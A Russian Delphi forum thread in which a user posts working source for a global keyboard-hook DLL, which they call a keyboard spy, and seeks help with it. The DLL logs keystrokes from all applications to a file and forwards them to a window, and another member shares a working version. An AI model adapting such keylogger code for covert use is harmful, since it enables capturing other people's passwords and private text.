Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 14.04.2024, 20:38   #1
t232006
Пользователь
 
Регистрация: 30.03.2024
Сообщений: 15
По умолчанию Хук клавиатуры и MS Word

Здравствуйте! Стоит задача отловить нажатие клавиш в различных приложениях и передать буквы в memo и записать в файл. Сооружаю стандартную несложную dll'ку клавиатурного шпиона и замечаю странность: с блокнотом всё прекрасно работает и пишется в файл. С браузером тоже. А вот с вордом в файл пишется, но в memo - нет. А если поставить брейкпоинты на месте writeln(f, key), то c вордом они не отработают, но в файл все запишется. Что за чертовщина?
Код:
library simplehook;
uses
Messages, Windows, keyboardUnit; //keyboardUnit только для расшаривания message WM_MYKEYPRESS

var
HookHandle:hHook;
ft:textfile;
hwin: Hwnd;
function KeyboardProc(Code: Integer; wParam: wParam; LParam: LParam): integer; stdcall;
var myHKL: HKL;
    KS: TKeyboardState;
    SC: integer;
    key1: char;
begin
if code<0 then Result:=CallNextHookEx(HookHandle, code, WParam, LParam)
else
if byte(LParam shr 24)<$80 then {только нажатие}
begin
    myHKL:=GetKeyboardLayout(GetCurrentThreadID);
    SC:=MapVirtualKeyEx(WParam, MAPVK_VK_TO_VSC, MyHKL);
    GetKeyboardState(KS);
    ToUnicodeEx(WParam, SC, KS, @Key1, sizeof(key1), 0, MyHKL);
try
  append(ft);
except
  exit;
end;
  writeln(ft,'key=', key1 ); // <---- здесь ставлю брейкпоинт и в случае с вордом отладчик игнорирует, но исполняет
  closefile(ft);
//sendchar( hwin, key1);
  sendMessage(hwin, WM_MYKEYPRESS, ord(key1), 0);    //<--- здесь я передаю сообщение принимающему окну
  Result:=CallNextHookEx(HookHandle, code, WParam, LParam);
end;
end;

procedure SetHook(wnd:hwnd); stdcall;
begin
  hwin:= wnd;
  HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, hInstance, 0);
end;

procedure DelHook; stdcall;
begin
  UnhookWindowsHookEx(HookHandle);
end;
exports
SetHook, Delhook;

begin
assignfile(ft,'z:\Программирование\пробы\Test\Hooks\Keyhook.txt');
end.

Последний раз редактировалось t232006; 14.04.2024 в 20:44.
t232006 вне форума Ответить с цитированием
Старый 15.04.2024, 06:25   #2
NetSpace
Участник клуба
 
Аватар для NetSpace
 
Регистрация: 03.06.2009
Сообщений: 1,814
По умолчанию

рядом в теме https://www.programmersforum.ru/showthread.php?t=346894
как раз выложен исходник, который работает и отлавливает нажатие кнопок (пока только функциональных, но остальное можно "допилить" самому). и сделать, как вы и желаете, запись в окно Memo.
Программирование - это единственный способ заставить компьютер делать то, что тебе хочется, а не то, что приходится.
NetSpace вне форума Ответить с цитированием
Старый 15.04.2024, 10:41   #3
t232006
Пользователь
 
Регистрация: 30.03.2024
Сообщений: 15
По умолчанию

да, программу вижу, исходники вижу, но исходника dll-ки нет. Есть скомпилированная HookKey.dll, но что внутри нее? Может быть, я не туда смотрю? Кроме того, у меня тоже пишет в Memo, но только если это не MS Word. А если ворд, тогда в Мемо не пишет, но в файл записывает, причем в обход брейпоинтов.

Последний раз редактировалось t232006; 15.04.2024 в 10:54.
t232006 вне форума Ответить с цитированием
Старый 15.04.2024, 11:37   #4
NetSpace
Участник клуба
 
Аватар для NetSpace
 
Регистрация: 03.06.2009
Сообщений: 1,814
По умолчанию

есть - он в первом моём комментарии - код DLL весь к вашим услугам
Программирование - это единственный способ заставить компьютер делать то, что тебе хочется, а не то, что приходится.
NetSpace вне форума Ответить с цитированием
Старый 15.04.2024, 14:35   #5
t232006
Пользователь
 
Регистрация: 30.03.2024
Сообщений: 15
По умолчанию

Ваш код DLL не ловит MS Word, к сожалению.
t232006 вне форума Ответить с цитированием
Старый 15.04.2024, 17:02   #6
NetSpace
Участник клуба
 
Аватар для NetSpace
 
Регистрация: 03.06.2009
Сообщений: 1,814
По умолчанию

t232006,
вот работающий. на переднем плане Word - нажимал в нём клавиши (печатал буквы) и потом переключался на программу - она просто отображает коды клавиш, т.е. ловит клавиши в активном окне Word.
у меня Word 2010 если что и система Win 7x64
---------
для наглядности можешь переделать отображение кодов, чтоб было не по одному, а в строке все коды через запятую накапливало...
Вложения
Тип файла: rar EXFAR2.rar (319.5 Кб, 1 просмотров)
Программирование - это единственный способ заставить компьютер делать то, что тебе хочется, а не то, что приходится.

Последний раз редактировалось NetSpace; 15.04.2024 в 17:06.
NetSpace вне форума Ответить с цитированием
Старый 15.04.2024, 21:05   #7
t232006
Пользователь
 
Регистрация: 30.03.2024
Сообщений: 15
По умолчанию

и правда ловит! ты прямо шайтан! а как сделал? Та библиотека у тебя другая, она в 2 раза больше по объему, чем первая. Я так понял, что твой стиль основан на том, чтобы передавать сообщения через findWindow, поэтому при всем желании я не могу использовать твою библиотеку, только если обзову программу твоим именем.

Последний раз редактировалось t232006; 15.04.2024 в 21:25.
t232006 вне форума Ответить с цитированием
Старый 16.04.2024, 05:34   #8
NetSpace
Участник клуба
 
Аватар для NetSpace
 
Регистрация: 03.06.2009
Сообщений: 1,814
По умолчанию

обрати внимание вот на что: в библиотеке DLL есть строка
Код:
 PostMessage(FindWindow(nil,'EXFar'),$0400+1,WParam,0);
в ней как раз имя моего файла, которому будет передаваться сообщение.
сделай своё имя, скомпилируй DLL новую и наслаждайся.
Программирование - это единственный способ заставить компьютер делать то, что тебе хочется, а не то, что приходится.
NetSpace вне форума Ответить с цитированием
Старый 16.04.2024, 09:53   #9
t232006
Пользователь
 
Регистрация: 30.03.2024
Сообщений: 15
По умолчанию

да это я давно понял, вот только библиотека в exfar2 почти в 2 раза по объему больше, чем в exfar3, что говорит о том, что в exfar2 какое-то другое содержимое, нежели в exfar3.
Хотя... я заменил твою "большую" библиотеку на твою же, которая меньше, и всё работает! Странно... а почему у меня нет? Ну ладно, буду разбираться. Спасибо, ты очень помог!

Последний раз редактировалось t232006; 16.04.2024 в 10:25.
t232006 вне форума Ответить с цитированием
Старый 16.04.2024, 11:30   #10
t232006
Пользователь
 
Регистрация: 30.03.2024
Сообщений: 15
По умолчанию

слушай, еще один маленький вопрос. Твой хук прекрасно работает, если не передавать LParam (а именно скан-код клавиш). В моей программе очень важно передавать именно скан-код. Да, я могу придумать механизм, как это обойти, но мне интересно, почему хук вырубается, как только вместо
Код:
PostMessage(FindWindow(nil,'SimpleHook'),$0400+1,WParam,0)
ставишь
Код:
PostMessage(FindWindow(nil,'SimpleHook'),$0400+1,WParam,LParam)
При этом, что самое интересное, брейкпоинт вообще не реагирует на postmessage, если дело происходит в ворде (и некоторых других программах), но сообщение передает. В блокнотике реагирует и lparam передает. Поэтому-то хук вылетал: он пытался передать lparam, который почему-то не хочет передаваться.

Последний раз редактировалось t232006; 16.04.2024 в 11:42.
t232006 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Использование классов Balabek Общие вопросы C/C++ 8 24.09.2012 09:39
использование классов в dll xrob Общие вопросы Delphi 13 12.04.2012 19:30
Использование классов SoftKoc Свободное общение 5 11.02.2011 20:05
С++ использование классов moron Помощь студентам 3 06.04.2010 00:30
Создание классов и использование объектов классов при написании программ в среде C++. Frozen inside Помощь студентам 0 16.04.2009 23:18